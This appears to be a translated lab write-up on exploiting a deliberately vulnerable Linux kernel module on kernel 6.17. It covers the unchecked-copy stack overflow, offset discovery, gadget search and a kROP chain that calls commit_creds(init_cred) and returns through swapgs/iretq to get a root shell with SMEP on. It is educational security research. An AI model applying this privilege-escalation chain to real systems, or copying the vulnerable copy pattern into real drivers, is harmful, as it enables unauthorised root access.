Linux 内核 6.17 栈溢出 - 通过 kROP 绕过 SMEP(土耳其语 Writeup)
作者: expo
仓库: https://github.com/exploitbey/kernel-krop-smep-bypass
本文探讨如何在启用了 SMEP 和 SMAP 的 Linux 内核 6.17.0-5-generic 上利用内核栈溢出漏洞。经典的 ret2user 方法在这种防护下失效。作为替代方案,使用内核 ROP(kROP)链。
其他防护措施(KASLR、KPTI、shadow stack、栈 canary)在此环境中已被禁用;重点仅在于 SMEP 绕过技术。
SMEP(Supervisor Mode Execution Prevention,管理模式执行保护)是一种处理器级别的防护机制。内核无法执行用户空间内存页中的代码。也就是说,当你将 shellcode 写入用户缓冲区并将内核引导至该处时,CPU 会立即中断你。
这就是经典 ret2user 失效的原因。
你可以通过 GDB 验证 SMEP 和 SMAP 是否已启用:
info register cr4
如果值为 0x372ef0,则将其转换为二进制并查看各位:
0x372ef0 → 0011 0111 0010 1110 1111 0000
从右到左,从索引 0 开始:
| 位组 | 范围 | 含义 |
|---|---|---|
| 0000 | 0–3 | — |
| 1111 | 4–7 | 位 5=PAE,位 7=PGE |
| 1110 | 8–11 | 位 9=OSFXSR,位 10=OSXMMEXCPT |
| 0010 | 12–15 | 位 13=VMXE |
| 0111 | 16–19 | 位 16=FSGSBASE,位 17=PCIDE,位 18=OSXSAVE |
| 0011 | 20–23 | 位 20=SMEP ✓,位 21=SMAP ✓ |
位 20 置位 → SMEP 已启用。CPU 阻止从 Ring 0 在 Ring 3 页面上执行代码。
补充说明:从内核 5.16 起,CR4 寄存器被“固定”了。以前可以通过 mov cr4, rax 这类 gadget 清除 SMEP 位。现在这条路已经封死。但这并不重要,因为我们根本不会去碰 CR4。
需要从客户机向主机复制 vmlinuz。复制后将其转换为 vmlinux_raw:
./extract-vmlinux vmlinuz > vmlinux_raw
脚本:https://raw.githubusercontent.com/torvalds/linux/master/scripts/extract-vmlinux
Guest 中的 GRUB 行:
GRUB_CMDLINE_LINUX_DEFAULT="nokaslr nopti ima_appraise=off ima_policy=tcb shstk=off"
QEMU 启动命令:
qemu-system-x86_64 \
-m 4G \
-enable-kvm \
-cpu host \
-drive file=lubuntu25.10-disk.qcow2,format=qcow2 \
-vga qxl \
-device virtio-serial-pci \
-device virtserialport,chardev=spicechannel0,name=com.redhat.spice.0 \
-chardev spicevmc,id=spicechannel0,name=vdagent \
-display spice-app \
-net nic -net user \
-usb -usbdevice tablet \
-vga virtio \
-s -S
在系统启动时,在主机上启动 GDB:
gdb ./vmlinux_raw
# ardından: continue
来源:rop.c
__attribute__((optimize(0)))
static ssize_t device_write(struct file *file, const char __user *buf,
size_t count, loff_t *ppos) {
char tampon[64];
// ZAFIYET: count kontrolsüz — 64+ byte gelince stack overflow
if (_copy_from_user(tampon, buf, count)) {
return -EFAULT;
}
return count;
}
缓冲区固定为 64 字节。_copy_from_user 从不检查要复制多少字节。即使用户空间发送 65 字节就足以导致内核栈开始被破坏。
利用入口点:/dev/vuln_device
sudo su
make # stack canary kapalı (Makefile'da -fno-stack-protector)
insmod rop.ko
然后,将 rop.ko 复制到 host(GDB 需要符号信息)。
x64 调用约定:第一个参数在 RDI,第二个在 RSI,第三个在 RDX,第四个在 RCX。
当调用 device_write 时,返回地址位于内核栈上的 rbp+8 位置。我们的目标是控制这个地址。
LKM 是带调试符号编译的,因此我们将用 GDB 进行正确跟踪。
在 Guest 中查看模块地址:
cat /proc/modules | grep rop
# rop 12288 0 - Live 0xffffffffc092f000 (OE)
cat /sys/module/rop/sections/.text # 0xffffffffc092f000
cat /sys/module/rop/sections/.data # 0xffffffffc0a15020
cat /sys/module/rop/sections/.bss # 0xffffffffc0a15640
在主机上的 GDB 中按 Ctrl+C,加载符号:
add-symbol-file /path/to/rop.ko
0xffffffffc092f000 -s .data 0xffffffffc0a15020 -s .bss 0xffffffffc0a15640
在 _copy_from_user 之前和之后设置断点:
b *0xffffffffc092f059
b *0xffffffffc092f05e
continue
使用 Metasploit 生成 88 字节的 pattern:
msf-pattern_create -l 88
将 Pattern 保存为 payload.txt,并使用 find_offset 发送:
gcc -o find_offset find_offset.c
./find_offset payload.txt
它将在内核断点处停下。在 GDB 中记下 rbp+8 的内容。在第二个断点处,您会看到 rbp+8 已被 pattern 填充。
在主机上计算偏移量:
msf-pattern_offset -q 6341356341346341 -l 88
# [*] Exact match at offset 72
返回地址从第 72 个字节开始写入。
为什么 ROP 能绕过 SMEP?因为 ROP 使用的是内核自身 .text 区域中已经存在的代码。它不执行新代码。它完全不触碰用户内存。SMEP 无法察觉这一点。
在 iretq 之前保存用户空间寄存器:
__asm__ volatile (
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
::: "memory"
);
"memory" 覆盖批评:如果 GCC 缓存这些值,iretq 帧就会损坏。
payload[i++] = POP_RDI_RET; // pop rdi ; ret
payload[i++] = INIT_CRED; // → rdi = &init_cred (root kimlik bilgisi)
payload[i++] = COMMIT_CREDS; // commit_creds(init_cred) → process root oldu
payload[i++] = SWAPGS_RESTORE; // swapgs → iretq'ya yönlendir
为什么没有 prepare_kernel_cred?
在 Kernel 6.17 中未找到像 mov rdi, rax ; ret 这样干净的寄存器传输 gadget。init_cred 本身就是一个静态地址,pop rdi; ret 已经足够。Payload 也保持得很小:144 字节。
Gadget 地址:
commit_creds 和 init_cred:
cat /proc/kallsyms | grep commit_creds
# ffffffff8145b390 T commit_creds
cat /proc/kallsyms | grep init_cred
# ffffffff8388b860 T init_cred
pop rdi ; ret → 操作码 \x5f\xc3
.text 范围:
Başlangıç : 0xffffffff81000000
Boyut : 0x1637970
Bitiş : 0xffffffff82637970
python3 find_opcode.py vmlinux_raw 5fc3
第一个结果 0xffffffff812582bd → 在 GDB 中用 x/3i 0xffffffff812582bd 验证。干净的 pop rdi; ret 序列。
swapgs + iretq → 操作码:0x0F 0x01 0xF8 和 0x48 0xCF
python3 find_swapgs.py vmlinux_raw
脚本返回两个候选。0xffffffff81001866 包含过多的 pop,导致栈被破坏。请检查 0xffffffff8100118f:
0xffffffff8100118f: swapgs
0xffffffff81001192: verw WORD PTR [rip+...] ← ZF'yi etkiler, GPR'ları bozmaz
0xffffffff81001199: test BYTE PTR [rsp+0x8], 0x3
0xffffffff8100119e: jne 0xffffffff81001241
跳过的部分:
0xffffffff81001241: test BYTE PTR [rsp+0x20], 0x4
0xffffffff81001246: jne 0xffffffff8100124a
0xffffffff81001248: iretq
为什么这个流程有效?user_cs = 0x33、user_ss = 0x2b:
test [rsp+0x8], 0x3 → 0x33 AND 0x03 = 0x03 → ZF=0 → jne çalışır → 0x81001241'e atlar
test [rsp+0x20], 0x4 → 0x2b AND 0x04 = 0x00 → ZF=1 → jne çalışmaz → iretq çalışır
iretq 依次从栈中取出:
RSP+0x00 = get_shell ← RIP (user'a döndüğünde burası çalışır)
RSP+0x08 = user_cs = 0x33
RSP+0x10 = user_rflags
RSP+0x18 = user_sp
RSP+0x20 = user_ss = 0x2b
| 索引 | 值 | 说明 |
|---|---|---|
| 0–8 | 0x4141... | 填充(72 字节) |
| 9 | POP_RDI_RET | gadget |
| 10 | INIT_CRED | rdi 参数 |
| 11 | COMMIT_CREDS | 提权为 root |
| 12 | SWAPGS_RESTORE | swapgs+iretq 路径 |
| 13 | get_shell | iretq RIP |
| 14 | user_cs | iretq CS |
| 15 | user_rflags | iretq RFLAGS |
| 16 | aligned_sp | iretq RSP |
| 17 | user_ss | iretq SS |
gcc -static -o exploit exploit.c -no-pie
./exploit
输出:
[*] Durum kaydedildi: CS=0x33 SS=0x2b
[*] Cihaz acildi: /dev/vuln_device
[*] Payload hazirlandi (18 slot, 144 byte)
[*] Payload gonderiliyor...
[+] Root elde edildi! Shell aciliyor...
#
优点:
缺点:
vmlinux_raw 会改变,gadget 地址不再匹配,exploit 必须重写| 文件 | 说明 |
|---|---|
rop.c | 存在漏洞的 LKM 源代码 |
Makefile | 关闭 stack canary 的编译版本 |
find_offset.c | Pattern 发送器(偏移检测) |
find_opcode.py | vmlinux 中的 opcode 扫描器 |
find_swapgs.py | swapgs+iretq gadget 查找器 |
exploit.c | 完整的 kROP exploit |
本工作仅供教育和安全研究目的编写。仅应在您自行搭建的实验环境中应用。